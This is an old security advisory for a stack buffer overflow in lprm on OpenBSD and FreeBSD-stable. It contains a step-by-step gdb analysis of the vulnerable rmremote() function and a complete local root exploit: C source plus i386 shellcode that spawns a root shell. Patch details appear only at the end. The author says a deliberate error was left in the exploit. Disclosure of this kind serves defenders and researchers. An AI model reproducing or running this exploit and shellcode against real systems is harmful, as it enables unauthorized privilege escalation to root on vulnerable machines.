COMMAND
lprm
SYSTEMS AFFECTED
OpenBSD, FreeBSD
PROBLEM
Niall Smart found how lprm in OpenBSD and FreeBSD-stable gives a
root shell under the following conditions:
- You have a remote printer configured in /etc/printcap.
(ie. a printer with a non-null "rm" capability)
- The length of the attacker's username plus the length of the
"rp" capability for the remote printer is >= 7. If there is
no explicit "rp" capability specified then the system will
use the default, which has length 2, meaning that the
attacker's username must be >= 5 characters long in this
case
- The hostname of the remote printer (ie. the "rm" capability)
resolves, and neither the canonical name returned for the
host nor any of its aliases match the local hostname. (ie.
it will not work if the "rm" capability points back at the
local machine, which would be indicative of misconfiguration
anyway).
It is not strictly necessary for the lpd daemon to be running on
the remote or local host for the exploit to work. lprm allows a
user to remove all his jobs on a print queue by passing his
username as an argument to lprm, e.g. "lprm -P PRINTER bloggs".
Only root is allowed to specify usernames other than his own.
Passing your own username more than once (as in "lprm -P PRINTER
bloggs bloggs") is allowed, but redundant. The user(s) specified
are stored in a global array called `user'. If the printer
specified is a remote printer then lprm connects to the remote
lpd daemon and sends it a message of the form "\5 XX USER1 USER2
...\n" where XX is the "rp" capability of the remote printer,
or the string "lp" if this capability has not been specified and
USERN are the users from the command line. This happens
in rmremote() of rmjob.c:
317 void
318 rmremote()
319 {
320 register char *cp;
321 register int i, rem;
322 char buf[BUFSIZ];
323 void (*savealrm)(int);
324
325 if (!remote)
326 return; /* not sending to a remote machine */
327
328 /*
329 * Flush stdout so the user can see what has been deleted
330 * while we wait (possibly) for the connection.
331 */
332 fflush(stdout);
333
334 (void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person);
335 cp = buf;
336 for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof(buf); i++) {
337 cp += strlen(cp);
338 *cp++ = ' ';
339 strcpy(cp, user[i]);
340 }
The problem lies on lines 334-335. Note that a string is
snprintf()'ed into buf and then cp is initialised to point at the
beginning of the buffer. Therefore on the first iteration around
the loop on line 336 cp - buf = 0. This means that we can pass a
string of length up to length sizeof(buf) - 1 - 1 = 1022 in
user[0] (which is the first user on the command line).
In the loop, cp is advanced by the length of the string it points
to plus one character. On the first iteration this is P + 3
characters where P = strlen(RP) + strlen(person) (RP is the "rp"
capability for the printer (default: "lp"), person is your
username). Then the contents of user[i] is appended to cp.
If we pass a string of length 1022 characters in user[0] then the
buffer will be overflowed by (1022 + P + 3 + 1) - 1024 = P + 2
bytes (including the terminating '\0') on the first iteratation of
the loop. If RP = "lp" (the default) this means that the user
bloggs can overflow by 10 bytes, the last of which will be a null
byte.
So, is this useful for bloggs? Looking at the source it would
appear not, there are three doubleword sized variables (cp, i and
rem = 12 bytes) declared before buf, meaning he can't get to the
saved EIP with his 10 byte overflow, and there doesn't seem to be
any way to get what we want from manipulating these variables.
Note that if the programmer had declared the function pointer
savealrm before the buffer then we could "restore" the SIGALRM
handler to an arbitrary location. But -- those three variables
are declared with the register attribute! For the uninitiated,
this is a hint to the compiler to place those variables in a
register if possible for speed of access. Assuming the compiler
can do this, it also has the side effect of not requiring the
compiler to allocate memory for the variable if its address is
not taken. A quick look through the rest of the source for
rmremote() shows that their address is not taken -- things are
looking up! Lets compile our own static version of lprm with
debugging on using the same optimisation flags as the system
Makefile and look at the assembly produced to see where the
compiler puts cp, i and rem.
$ make lprm CFLAGS="-g -static"
$ gdb lprm
(gdb) x/5i rmremote
0x2464 <rmremote>: pushl %ebp
0x2465 <rmremote+1>: movl %esp,%ebp
0x2467 <rmremote+3>: subl $0x408,%esp
0x246d <rmremote+9>: pushl %edi
0x246e <rmremote+10>: pushl %esi
(gdb) p 0x408
$3 = 1032
So, it allocates 1032 bytes on the stack, presumably this is
composed of one of cp, i and rem, then the 1024 byte buffer and
then savealrm. This would means that bloggs can overflow the
saved EBP, and even write up to two bytes to the saved EIP. (the
last of which would be NULL). Unfortunately this is useless on
the Intel i386 because the MSB(yte) of the EIP is located highest
on the stack meaning we can only influence the two LSBs of the
the EIP and since our buffer is located up at the top of the
address space we need the MSB of the saved EIP to look like 0xFF
or 0xEF and it is probably 0x00 since rmremote would have been
called from the text segment which is located at the bottom of the
address space. On a big endian machine we *might* have been able
to do something with this, but it would not have been easy.
However, Luck is on our side again, looking down further through
the asm we notice that gcc has actually allocated the buffer at
$esp - 1024. Look at the pushing of the arguments for the call
to snprintf:
(gdb) x/11i
0x1fbc <rmremote+72>: movl $0x1550,%eax
0x1fc1 <rmremote+77>: pushl %eax
0x1fc2 <rmremote+78>: movl 0x3ea88,%eax
0x1fc7 <rmremote+83>: pushl %eax
0x1fc8 <rmremote+84>: pushl $0x1f3a
0x1fcd <rmremote+89>: pushl $0x400
0x1fd2 <rmremote+94>: leal 0xfffffc00(%ebp),%eax
0x1fd8 <rmremote+100>: pushl %eax
0x1fd9 <rmremote+101>: call 0x21630 <snprintf>
(gdb) p -(~0xfffffc00 + 1)
$2 = -1024
This means that we only need a nine byte overflow! (9 = 4 for
saved EBP + 4 for saved EIP + 1 null terminating '\0' which must
not be in saved EIP). Lets just check that we have done our sums
right before moving on to write the exploit: where do we put the
bytes into user[0] so that they overwrite the EIP? Well, writing
1028 bytes into buf leaves us just before the EIP, to write this
many bytes we put 1028 - (P + 3) bytes in user[0], the (P + 3)
comes from the data already placed in the buffer by the snprintf.
For the user bloggs on a system where RP = "lp", P = 8. Lets
check this out on our own system: (copy lprm to get it to core
dump):
$ id -un
bloggs
$ cp /usr/bin/lprm /tmp
$ /tmp/lprm -P remote `perl -e '
> print "A" x (1028 - 8 - 3);
> printf("%c%c%c%c", 0xEF, 0xBE, 0xAD, 0xDE);
> '`
connection to remote is down
zsh: segmentation fault (core dumped) /tmp/lprm -P remote
$ gdb --quiet lprm /tmp/lprm.core
Core was generated by `lprm'.
Program terminated with signal 11, Segmentation fault.
#0 0xdeadbeef in ?? ()
(gdb)
It's all pretty much plain sailing from here on, the main reason
for text going on is to demonstrate the leeto method of getting
the shellcode that wasn't used before. Just before the "ret" at
the end of rmremote() we want the stack to look like this:
+-----------+
ESP -> | egg | --------\
+-----------+ |
| space | |
| space | |
| space | |
+-----------+ |
| | |
| | |
\ shellcode \ |
| | |
| | |
+-----------+ |
| nop | |
| nop | <<------/
| |
The ret instruction pops the egg off into the EIP which will
hopefully then point somewhere in the nops causing the CPU to
chase up the stack to the shellcode. The shellcode itself is a
fairly standard affair, it performs a seteuid(0), setuid(0),
exit(execve("/bin/sh", { "sh", 0 }, 0)) using the standard tricks
of xoring and subtraction of negative values to get/avoid null
bytes and a call/ret to obtain the value of the EIP so it can
locate the address of the "shAA/bin/shBCCCCDDDD" string. The
neeto bit is that the shellcode is left in source form, the
assembler generates a label for the beginning and end of the
generated code so we can just memcpy the machine language
representation into the buffer. This makes it easier to change
and test the shellcode as you go, makes the exploit more easily
portable and avoids the tedious task of hexdumping the
instructions. As discussed before, the egg is placed at
user[1028 - P - 3], we want the shellcode to be as near the top as
possible, but we need to leave 12 bytes for the 4 pushl
instructions in the shell code as the ESP will be equal to
&egg + 4 when we enter the shellcode. (only 12 bytes because the
first push goes onto the egg). This means we memcpy the shellcode
into &user[1028 - P - 3 - 12 - SCSZ] where SCSZ is the size of the
shell code. The code is below. To compile run:
cc lprm-bsd.c shellcode.S -o lprm-bsd
And now, code:
/*
lprm-bsd.c - Exploit for lprm vulnerability in
OpenBSD and FreeBSD-stable
k0ded by Niall Smart, njs3@doc.ic.ac.uk, 1998.
The original version of this file contains a blatant error
which anyone who is capable of understanding C will be able
to locate and remove. Please do not distribute this file
without this idiot-avoidance measure.
Typical egg on FreeBSD: 0xEFBFCFDF
Typical egg on OpenBSD: 0xEFBFD648
The exploit might take a while to drop you to a root shell
depending on the timeout ("tm" capability) specified in the
printcap file.
*/
#include <sys/types.h>
#include <pwd.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
extern void BEGIN_SC();
extern void END_SC();
int
main(int argc, char** argv)
{
char buf[4096];
struct passwd* pw;
char* cgstr;
char* cgbuf;
char* printer;
char* printcaps[] = { "/etc/printcap", 0 };
int sc_size; /* size of shell code */
int P; /* strlen(RP) + strlen(person) */
unsigned egg; /* value to overwrite saved EIP with */
if (argc != 3) {
fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]);
exit(0);
}
if ( (pw = getpwuid(getuid())) == NULL)
errx(1, "no password entry for your user-id");
printer = argv[1];
egg = (unsigned) strtoul(argv[2], NULL, 0);
if (cgetent(&cgstr, printcaps, printer) < 0)
errx(1, "can't find printer: %s", printer);
if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0')
errx(1, "printer is not remote: %s", printer);
if (cgetstr(cgstr, "rp", &cgbuf) < 0)
cgbuf = "lp";
sc_size = (char*) END_SC - (char*) BEGIN_SC;
/* We can append 1022 bytes to whatever is in the buffer.
We need to get up to 1032 bytes to reach the saved EIP,
so there must be at least 10 bytes placed in the buffer
by the snprintf on line 337 of rmjob.c and the subsequent
*cp++ = '\0'; 3 = ' ' + ' ' + '\5' */
if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7)
errx(1, "your username is too short");
fprintf(stderr, "P = %d\n", P);
fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size);
fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3);
/* fill with NOP */
memset(buf, 0x90, sizeof(buf));
/* put letter in first byte, this fucker took me eight hours to debug. */
buf[0] = 'A';
/* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */
memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size);
/* finally, set egg and null terminate */
*((int*)&buf[1028 - P - 3]) = egg;
buf[1022] = '\0';
memset(buf, 0, sizeof(buf));
execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0);
fprintf(stderr, "doh.\n");
return 0;
}
/*
shellcode.S - generic i386 shell code
k0d3d by Niall Smart, njs3@doc.ic.ac.uk, 1998.
Please send me platform-specific mods.
Example use:
#include <stdio.h>
#include <string.h>
extern void BEGIN_SC();
extern void END_SC();
int
main()
{
char buf[1024];
memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC);
((void (*)(void)) buf)();
return 0;
}
gcc -Wall main.c shellcode.S -o main && ./main
*/
#if defined(__FreeBSD__) || defined(__OpenBSD__)
#define EXECVE 3B
#define EXIT 01
#define SETUID 17
#define SETEUID B7
#define KERNCALL int $0x80
#else
#error This OS not currently supported.
#endif
#define _EXECVE_A CONCAT($0x555555, EXECVE)
#define _EXECVE_B CONCAT($0xAAAAAA, EXECVE)
#define _EXIT_A CONCAT($0x555555, EXIT)
#define _EXIT_B CONCAT($0xAAAAAA, EXIT)
#define _SETUID_A CONCAT($0x555555, SETUID)
#define _SETUID_B CONCAT($0xAAAAAA, SETUID)
#define _SETEUID_A CONCAT($0x555555, SETEUID)
#define _SETEUID_B CONCAT($0xAAAAAA, SETEUID)
#define CONCAT(x, y) CONCAT2(x, y)
#define CONCAT2(x, y) x ## y
.global _BEGIN_SC
.global _END_SC
.data
_BEGIN_SC: jmp 0x4 // jump past next two isns
movl (%esp), %eax // copy saved EIP to eax
ret // return to caller
xorl %ebx, %ebx // zero ebx
pushl %ebx // sete?uid(0)
pushl %ebx // dummy, kernel expects extra frame pointer
movl _SETEUID_A, %eax //
andl _SETEUID_B, %eax // load syscall number
KERNCALL // make the call
movl _SETUID_A, %eax //
andl _SETUID_B, %eax // load syscall number
KERNCALL // make the call
subl $-8, %esp // push stack back up
call -40 // call, pushing addr of next isn onto stack
addl $53, %eax // make eax point to the string
movb %bl, 2(%eax) // append '\0' to "sh"
movb %bl, 11(%eax) // append '\0' to "/bin/sh"
movl %eax, 12(%eax) // argv[0] = "sh"
movl %ebx, 16(%eax) // argv[1] = 0
pushl %ebx // push envv
movl %eax, %ebx //
subl $-12, %ebx // -(-12) = 12, avoid null bytes
pushl %ebx // push argv
subl $-4, %eax // -(-4) = 4, avoid null bytes
pushl %eax // push path
pushl %eax // dummy, kernel expects extra frame pointer
movl _EXECVE_A, %eax //
andl _EXECVE_B, %eax // load syscall number
KERNCALL // make the call
pushl %eax // push return code from execve
pushl %eax //
movl _EXIT_A, %eax // we shouldn't have gotten here, try and
andl _EXIT_B, %eax // exit with return code from execve
KERNCALL // JERONIMO!
.ascii "shAA/bin/shBCCCCDDDD"
// 01234567890123456789
_END_SC:
SOLUTION
This vulnerability is not present in FreeBSD-current or
OpenBSD-current. Patches to fix this vulnerability have been
applied to the OpenBSD and FreeBSD-stable source tree's. Obtain
the latest version of the file:
/src/usr.sbin/lpr/common_source/rmjob.c
and recompile the lpr subsystem to protect yourself against this
attack. See www.openbsd.org/security.html and www.freebsd.org
for details.